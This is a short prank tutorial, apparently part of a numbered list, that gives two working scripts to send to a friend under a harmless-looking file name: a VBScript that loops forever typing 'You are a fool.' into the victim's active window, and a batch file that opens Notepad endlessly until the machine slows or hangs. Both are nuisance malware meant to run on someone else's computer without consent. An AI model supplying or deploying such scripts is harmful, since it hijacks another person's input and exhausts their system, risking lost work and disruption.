Hack your friend's keyboard and make him type "You are a fool" simultaneously

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.